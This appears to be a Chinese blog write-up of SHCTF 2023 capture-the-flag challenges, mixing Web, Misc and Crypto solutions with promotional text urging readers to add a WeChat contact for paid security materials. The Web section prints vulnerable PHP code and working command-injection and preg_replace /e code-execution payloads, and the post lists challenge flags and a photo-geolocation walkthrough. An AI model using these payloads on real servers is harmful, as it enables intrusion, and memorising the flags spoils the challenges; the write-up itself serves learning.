网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
- [[WEEK1]黑暗之歌:](#WEEK1_479)
- [[WEEK1]迷雾重重:](#WEEK1_492)
- [[WEEK1]难言的遗憾:](#WEEK1_507)
- [[WEEK1]小兔子可爱捏:](#WEEK1_519)
+ [Reverse:](#Reverse_535)
+ [PWN:](#PWN_537)
+ [联系博主,欢迎交流和学习!!](#_541)
前言:
由于刚接触CTF没多久 还是属于萌新级别的也没怎么打过比赛记录一下学习的过程大佬绕过即可,后续会继续加油努力。
比赛地址:http://shctf.club/
Web:
[WEEK1]babyRCE:
<?php
$rce = $\_GET['rce'];
if (isset($rce)) {
if (!preg\_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight\_file(\_\_FILE\_\_);
}
Payload:?rce=c\at$IFS\../../../../../../../f\lag
flag{2deb9790-0dee-498a-8b63-1ca0bee9c7ae}
[WEEK1]1zzphp:
<?php
error\_reporting(0);
highlight\_file('./index.txt');
if(isset($\_POST['c\_ode']) && isset($\_GET['num']))
{
$code = (String)$\_POST['c\_ode'];
$num=$\_GET['num'];
if(preg\_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg\_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}
[WEEK1]ez_serialize:
[WEEK1]登录就给flag:
admin
password
[WEEK1]飞机大战:
F12
查看源代码 js
里面有unicode
编码 在Base64
解码即可。
flag{9b7846fc-2ec0-4d41-8db7-858525c0079b}
[WEEK1]ezphp:
<?php
error\_reporting(0);
if(isset($\_GET['code']) && isset($\_POST['pattern']))
{
$pattern=$\_POST['pattern'];
if(!preg\_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini\_set|eval|exec|dir|\.|\`|read\*|show|file|\<|popen|pcntl|var\_dump|print|var\_export|echo|implode|print\_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show\_source|highlight\_file|glob|\~|\^|\||\&|\\*|\%/i",$code))
{
$code=$\_GET['code'];
preg\_replace('/(' . $pattern . ')/ei','print\_r("\\1")', $code);
echo "you are smart";
}else{
die("try again");
}
}else{
die("it is begin");
}
?>
it is begin
get: ?code=${phpinfo()}
post: pattern=(.\*)
flag{afdc2798-2891-4b37-bce8-69610b0ecde8}
MISC:
[WEEK1]请对我使用社工吧:
k1sme4的朋友考到了一所在k1sme4家附近的大学,一天,
k1sme4的朋友去了学校对面的商场玩,并给k1sme4拍了一张照片,你能找到他的学校吗?
flag格式:flag{xx省_xx市_xx区_xx大学}
加k1sme4师傅不同意 QQ空间看到一张图片 b站界面
黄河入海口在山东东营,图片给的是商场 然后百度地图搜了一下 东营万达 🆗 对面就是石油大学
flag{山东省_东营市_东营区_中国石油大学}
[WEEK1]也许需要一些py:
解压需要密码flag.txt
旁边看到了摩斯密码解码得到 压缩包密码:THIS1SY0UKEY
切换一下大小写不然打不开:this1sy0ukey
然后这个不是flag
放入010
加个png
文件头
需要 匹配字符爆破大小写碰撞 看脚本(确实需要一些py)
import hashlib
def md5(s):
md5 = hashlib.md5()
s = s.encode('utf-8')
md5.update(s)
return md5.hexdigest()
def check(k,s):
ind = 0
ss = ''
for i in s:
if i.isalpha():
if k[ind] == '1':
ss += i.upper()
else:
ss += i
ind += 1
else:
ss += i
return ss
ans = '63e62fbce22f2757f99eb7da179551d2'
s = 'pNg\_and\_Md5\_SO\_GreaT'.lower()
cnt = 0 #字母数量
for i in s:
if i.isalpha():
cnt += 1
for i in range(2\*\*cnt):
k = bin(i)[2:].zfill(cnt)
out = check(k,s)
if md5(out) == ans:
print('flag{'+out+'}')
break
flag{Png_AnD_md5_so_GReAt}
[WEEK1]ez-misc:
01game
这里面是二进制文件 使用脚本先把他转换为二维码
扫码得到解压密码: hit_k1sme4_4_fun
输入密码解压,在右边看到一串二进制 解出来是一个字典 rockyou
应该比较熟悉了 爆破即可。
01110010011011110110001101101011011110010110111101110101
from PIL import Image
MAX = 25
pic = Image.new("RGB",(MAX, MAX))
str = "1111111011111111011000111111110000010011000101010001000001101110100011000110010010111011011101011010000100010101110110111010000111111000001011101100000100011101111010010000011111111010101010101010111111100000000000000111111100000000001011101000111010100100010010011000000101101111100010001110110010101001111010001110011101001001001100100010001000100110001001100010101001110100011010000110100110000001101111000001100111111000100101011111000110010000011111111111000111010110001110100100110011010011000011010000110011100100111011001110011010100110100111101101000110001001110101010010100100110001111101111111100010000000011110011010110001000011111110010000000001101010111100000101110100010101000100101011101011000001110011111111110111010010101001010000110100101110101111111011010001100011000001000111101111001001101011111110010100011110111100111"
i = 0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
在线2
进制转ASCII
:https://coding.tools/cn/binary-to-text#google_vignette
得到密码:palomino
修改flag
后缀zip
解压得到 一串字符 猜测是字频统计
flag{SHyk1sme4}
[WEEK1]Steganography:
将 careful1.jpg
放进 010
查看发现 Base64
编码 然后解码
然后另一张查看熟悉 进行拼接得到 解压密码: 12ercsxqwed909jk
flag{4d72e4f3-4d4f-4969-bc8c-a2f6f7a4292c}
[WEEK1]签到题:
Wm14aFozdDBhR2x6WDJselgyWnNZV2Q5 #Base128 Base64解两次即可。
Base64
在线解码:http://www.jsons.cn/base64
flag{this_is_flag}
[WEEK1] 真的签到:
关注公众号山东汉任信息安全技术有限公司,回复 SHCTF
我踏马来辣! 得到flag
flag{Welc0me_tO_SHCTF2023}
[WEEK1]可爱的派蒙捏:
foremost
进行分离得到两个txt
进行对比多出来的就是flag
。
在线网站:https://text-compare.com/
flag{4ebf327905288fca947a}
[WEEK1]Jaeger lover:
PS:do you know Pacific Rim?(all have 4 steg,every image file have 2 steg)
环太平洋 电影 这题的思路 🆗 我们先来看看
放入010
发现尾部有Base
编码系列特征 Base58-32-64
百度百科得到一个:Tri-Sun Horizon Gate
尝试 steghide
隐写
steghide extract -sf Typhoon.jpg -p "Tri-Sun Horizon Gate"
得到压缩包解压密码:.*+#1Ao/aeS
得到一张图片,感觉图片高度下面少了点东西,工具一把梭哈 得到key:K34-759183-191
oursecret
下载:http://www.uzzf.com/soft/68820.html
flag{A1l_boys_aRe_Jaeger_L0ver!!}
[WEEK1]message:
0001000D91683106019196F40008C26211002072B975915730671B54114F60000A000A592982B15C065265843D8A938A00000A000A5E8A9AA453D883525730000A000A91527CBE518D6E1751656CEA75D5000A000A6C899ED852305BF94E0D8D77000A000A8FD94E0053CC624B535191195230002062B14F4F4F6000530048004300540046007B00620061003900370038003400300035002D0062003100630038002D0038003400370063002D0038006500360039002D006600360032003100370037006500340063003000380037007D
在线PDU
解码:http://www.sendsms.cn/pdu/
SHCTF{ba978405-b1c8-847c-8e69-f62177e4c087}
[WEEK2]远在天边近在眼前:
打开容器下载下来 一个压缩包 套娃文件夹 一个一个拼接即可。
flag{tH1s_15_Re4llY_E4sy_4lri9ht?_ca0aee7ec705}
[WEEK2]可爱的洛琪希:
PS:把你的详细信息都交出来!
在线Bse64
转图片:https://tool.jisuapi.com/base642pic.html
根据提示详细信息猜测是EXIF
在线网站 工具(exiftool
)都可以
在线查看EXIF
信息:https://exif.tuchong.com/view/13800262/
HEX
解码得到一串字符 放入010
结尾发现key
:nanian
直接艾尼维亚解密得到flag
。
但是感觉这个不太对呀 换个在线网站试试 wdf!
在线维吉尼亚解密:http://www.atoolbox.net/Tool.php?Id=856
flag{Roxy_daisuki!}
[WEEK2]喜帖街:
PS:喜帖街里就得有“喜帖”,ok?
一个音频文件使用工具Audacity
右键查看频谱得到:LeeTung密码 Steghide
隐写一下 得到flag
。
steghide extract -sf music.wav -p LeeTung
ok
在线解码:https://www.splitbrain.org/services/ook
flag{w@v2txt_s0_Int3r3st1ng!}
[WEEK2]图片里的秘密:
PS :盲僧能出水银鞋吗?
分离得到一张杰尼龟得图片 再根据提示 水印鞋?? 🆗上工具 得到flag。
flag{Blind_Water_Mark!}
[WEEK2]表里的码:
[WEEK3]ez_usb:
[WEEK3]请再次对我使用社工吧:
很好的城市,很大的水域,很美的山,有山有水但没有海,爱来自山东。
你能找到我脚下这座山的名字吗?
flag格式:flag{xx省_xx市/区_xx市/区_xx山}
首先拿到这个图 观察一下发现旁边有一个突出的,像烈士陵墓的建筑 而且说了是山东,上地图
其实找了好久好久 没啥思路就一个市一个的看 看到了山东泰安市 直接搜附件有没有什么山都没有结果 然后 搜着发现新泰有 然后我就去官网看全景 看了半天 感觉和给的图片有点像 这个其实过程试了好久 看着其实挺轻松的 找别的市没啥 思路 全景进去看的时候 感觉就是这个 尝试🆗 没问题!
flag{山东省_泰安市_新泰市_青云山}
Crypto:
[WEEK1]立正:
在线逆序:https://study.100xgj.com/textturn/
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!